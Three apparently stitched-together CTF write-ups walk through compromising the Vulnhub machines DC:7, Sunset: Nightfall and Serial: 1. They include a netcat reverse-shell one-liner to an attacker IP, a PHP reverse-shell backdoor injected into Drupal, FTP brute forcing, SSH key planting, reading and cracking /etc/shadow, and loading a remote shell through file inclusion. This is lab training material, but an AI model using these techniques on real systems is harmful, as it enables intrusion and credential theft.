Dc:7 Vulnhub Walkthrough


DC:7 writeup, our another CTF challenges for CTF players and it can be download from vulnhub from here. The credit goes to “DCAU” for designing this VM machine for beginners. This is a Linux based CTF challenge where you can use your basic pentest skill to compromise this VM to escalate the root privilege shell.

Penetration Testing Methodologies
Network Scan
·         Nmap
Foot printing
Exploiting
·         SSH login
·         Abusing Drupal Drush
·         Compromising webshell via PHP Backdoor
Privilege Escalation
·         Abusing writable Script
·         Capture the Flag

Walkthrough

Network Scanning

Let's start with a network scan using an aggressive Nmap scan as we always do, and this time also we will go with the same approach for identify open port for running services.
nmap -A 192.168.1.101
Hmmm! So nmap showed very exciting & cool outcome, specifically on port 80 that is accessible to HTTP service and is also used to operate drupal CMS, additionally 15 submissions for robot.txt is like a cheery on a cake.


Enumeration
Further, we need to start enumeration against the host machine, therefore without wasting time, we navigate to a web browser for exploring HTTP service, and DC:7- Welcome page will opened in the browser that gave us a hint to search “outside the box” and this hint might be connected with internet.
At the end of this web page we observed another hint “@DC7User” which could be any possible username.


By considering the above listed hint, we start footprinting on the @DC7-user and find the DC7-user twitter account. This account contains a link to GitHub: https:/github.com/Dc7User, maybe the author was pointing to this link.


And the github url content a staffdb which is PHP repositories.


So when we have opened the staffdb, here config.php looks more interesting and a note i.e. as depicted below:
“This is some "code" (yes, it's not the greatest code, but that wasn't the point) for the DC-7 challenge.
This isn't a flag, btw, but if you have made it here, well done anyway. :-)”


We found credential from inside config.php as shown below:
Username: dc7user
Password: MdR3xOgB7#dW



With the help of above enumerated credential we try to connect with ssh and after obtaining tty shell we go for post enumeration and start directory traversing.


At first, we're looking for a directory list where we've found an "mbox" named file that contains an inbox message. The message contains /opt/script/backup.sh as subject of the message, let’s explore more.

I
nside backup.sh we notice it is using drush which is stands for Drupal shell and it is a command line utility that is used to communicate with drupal CMS.


So, I looked at the drush command in google and found a command that was used to change an account's password.



Therefore, we try to change admin password using below command:
drush user-password admin --password=raj


Now, we've changed the password for the admin account to login to Drupal and explore the following URL:
After accessing the admin console, it was time to exploit web application by injecting malicious content inside it. Directly writing malicious scripts as web content will not give us the reverse shell of the application but after spending some time, we concluded that it requires PHP module. We, therefore, move to install new module through Manage>Extend>List>Install new module.


You can download the PHP package for Drupal from the URL below and upload the tar file to install the new module.
https://www.drupal.org/project/php


So, when installation is completed, we need to enable to added module.


Again, move to Manage > Extend >filters and enable the check box for PHP filters.



Now use Pentest monkey PHP script i.e “reverse_shell_backdoor.php” to be inject as basic content. Do not forget to add listening IP and Port for obtaining reverse connection. Further change text format into PHP and enable the check box for publish. Keep the netcat listener ON to receive incoming shell.
Now use the Pentest monkey PHP script, i.e. "reverse shell backdoor.php" to be injected as a basic content. Don't forget to add an “listening IP & port” to get a reversed connection. Continue to change the “text format to PHP” and enable the publishing checkbox. Keep the netcat listener ON in order to receive the incoming shell.
When everything is set correctly, click the preview button and you'll get the reverse connection over the netcat.


Great!! we have our netcat session as www-data and if you will check permission on /opt/scripts/backup.sh, you will notice, that www-data has all permission to access or modify this file. We can therefore abuse the rights of the user file for escalating privileges by modifying the contents of the source.


Privilege Escalation
As said above we’ll try to abuse writable permission assign on the script. Thus, we use msfvenom to generate a malicious piece of code for obtaining bash shell.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.106 lport=8888 R
Now copy the generated code and start a another netcat listener on a new terminal.
mkfifo /tmp/ulgg; nc 192.168.1.106 8888 0
/tmp/ulgg 2>&1; rm /tmp/ulgg


Paste the code copied above in the previous netcat session under the www-data shell and wait for some time and get back to another netcat listener.


After some time, you will have access to the root shell, you will now get the final flag in the root directory as shown below.

Sunset: Nightfall Vulnhub Walkthrough


We have another CTF challenges for CTF players that named as “Sunset: nightfall” and it can be download from vulnhub from here. The credit goes “whitecr0wz” for designing this VM machine for beginners. This is a Linux based CTF challenge where you can use your basic pentest skill for Compromising this VM to escalate the root privilege shell.
Level: Easy
Task: Boot to Root
Penetrating Methodologies

Network Scanning
·         Netdiscover
·         Nmap
Enumeration
·         Enum4linux
Exploiting
·         FTP Brute force
·         Injecting blank SSH key
·         SSH login
Privilege Escalation
·         SUID Binaries
·         Sudo Rights

Walkthrough
Network Scanning
Let’s begin with the network scan using netdiscover to identify the host machine IP.
netdiscover
And this gave 192.168.0.24 as Host IP, now we will move toward ports and service scan further.


For deep network scan we always prefer to use nmap aggressive scan and this time also we will go with the same approach, thus will run the below command to enumerate running services and open port.
nmap -A 192.168.0.24
From its scan result, we found that it has multiple open ports for various services but here port 21 i.e. look interesting as it is using pyftplib for ftp.


Enumeration
For more detail we need to start enumeration against the host machine, therefore, we navigate to a web browser for exploring HTTP service but we found nothing at this place.


While enumerating SMB service we found two use name “nightfall” & “matt” with help of Enum4linux.
enum4linux 192.168.0.24


Exploiting
Since we have enumerated two usernames let’s go for brute force attack with the help of hydra and try to find its password for login into FTP
hydra -l matt -P /usr/share/wordlists/rockyou.txt 192.168.0.24 ftp -e nsr
Great! “Cheese” 😊is the password of user “matt” let’s use this credential for ftp login.


We logged into FTP successfully, since we were logged inside the host machine but to access proper shell we need to compromise TTY shell, therefore we decide to upload a malicious file inside /var/www/html but unfortunately we were unable to access that directory.

This is due to pyftplib which is using python library for FTP and might be File sharing is allowed on any particular directory hence we are unable to access /var/www/html directory.

But still we have another approach i.e. SSH key placement which means we will try to inject our created SSH key inside the host machine and access the pty shell of the host machine via ssh and this can be achieved when we will create an .ssh named folder and upload our ssh key inside it.



Thus, in our local machine we created a ssh key with blank passphrase using ssk-keygen and it will create two files. Then we copied id_rsa.pub file into another file and named “authorized_keys” and we need to transfer this file inside host machine.


As we already have FTP access of the host machine therefore it becomes easy to for us to upload authorized_keys inside the .ssh directory which we have created earlier.


So, when we try to connect with ssh as matt user, we got login successfully as shown in the below image. At this phase we have compromised the host machine and to get access of root shell we need bypass user privileges, therefore without wasting time we try to identify SUID enabled binaries with help of find command.
find / -perm -u=s -type f 2>/dev/null
So, we found /script/find has SUID permissions and it work similar as Linux-Find utility thus we try to execute /bin/sh command and obtain nightfall shell access.
./find . -exec /bin/sh -p \; -quit
So, we got access of nightfall shell where we found our 1st flag from inside user.txt file.


But this was limited shell thus to access proper shell as nightfall, we try to apply previous approach of placing blank passphrase ssh key. Therefore inside /home/nightfall we created a .ssh named folder and upload the authorized_key which we had created previously.


Privilege Escalation
Now repeat the same and try to connect with ssh as nightfall and you will get ssh shell like us as shown in below image. Further, we check sudo right for nightfall and observe he has sudo right for cat program which means we can read higher privilege such as shadow.
sudo -l
we have executed the following command for reading shadow file and obtain some hash value.
sudo cat /etc/shadow

So, we saved the hash of user: root in a text file and then use john the ripper for cracking hash.
Booomm!! We got user: root password: miguel2


Using above credential i.e. root:miguel2 we got the root shell access and inside /root directory we found our final flag.


Serial: 1 Vulnhub Walkthrough


Today we are going to take a new challenge Ted. The credit for making this VM machine goes to “Avraham Cohen” and it is a boot2root challenge where we have to root the server to complete the challenge. You can download this VM here

Security Level: Beginner/ Intermediate
Penetrating Methodology:
Scanning
·        NMAP
·        Dirb
Enumeration
·        Browsing the website
·        Burpsuite 
Exploitation
·        Analyze and change php code to get
Privilege Escalation
·        Sudo permission for vim command

Walkthrough:
Scanning:
First thing first, scan the vulnerable machine using nmap
nmap -p-  -A 192.168.2.6
Here we got only two ports, 80 and 22
We browsed the website on port 80 and got the message hinting that we might get something in cookies
When we intercepted the request, there was a very lengthy value for a cookie. The value for cookie user was a base64 encoded value

After decoding the value gave us a username, we tried to change it to something else but not possible

For a moment, we kept it aside and tried to get all the available directories using dirb
Here we found one interesting directory named backup
We visited the backup directory on the web server and found a zip file over there
We downloaded the zip file and extracted the contents and found three files
Let’s check the contents of the files starting from
1)      index.php
2)      user.class.php
3) log.class.php
After carefully analysing the code of file index.php and user.class.php, we came to know that we can try to get base64 encoded value of cookie user by just adjusting a function call from index.php to user.class.php. So, we added one single line in the end to display the base64 value encoded in similar format as the user cookie value but this time with another user i.e. admin
echo base64_encode(serialize(new User(‘admin’)));

Now let’s try to run the php code and check the output of the same,
php user.class.php
we got a base64 encoded value which we will try to use as the value of user cookie
Well the base64 cookie value worked but nothing much helpful, so we started to look for something else. We checked the log.class.php, we found that the Log class is having a include function to include a log file but the parameter type_log is not assigned any value. We assigned the valiable with a the path of passwd file as the value.
Also alongside that we made a small change in the user class, we replaced the function call of the Welcome class to the function call of constructor of the Log class.
Now when we tried to run the user.class.php file again, we found that the passwd file was displayed and we got the base64 encoded value which we can use as the cookie.
php user.class.php
When we tried the base64 encoded cookie value in the webpage, we got the passwd file from the target machine, confirming we have a file inclusion vulnerability
Now that we have verified the presence of file inclusion vulnerability, we created a remote code execution file and started the python server
Now we edit the log class to change the file path variable to the url of our shell
Private $type_log = “http://192.168.2.3/shell.php”
After putting the code in place, its time to get the cookie value to execute
php user.class.php
When we used the cookie value and provided the cmd parameter with ifconfig command
While checking the contents, we found a file named credentials.txt.bak
We tried to check the contents and found something like a set of credentials, let’s try to use these credentials
We used the credentials for ssh and got access. While enumerating we found the first flag
ls
cat flag.txt
Now we have to escalate the privilege, we tried to get sudo permissions for current user. We found we have sudo permissions for vim editor
sudo -l
We used privilege escalation through vim editor and got the root shell
sudo vim
:!/bin/bash
cd /root
ls
cat fl4g.txt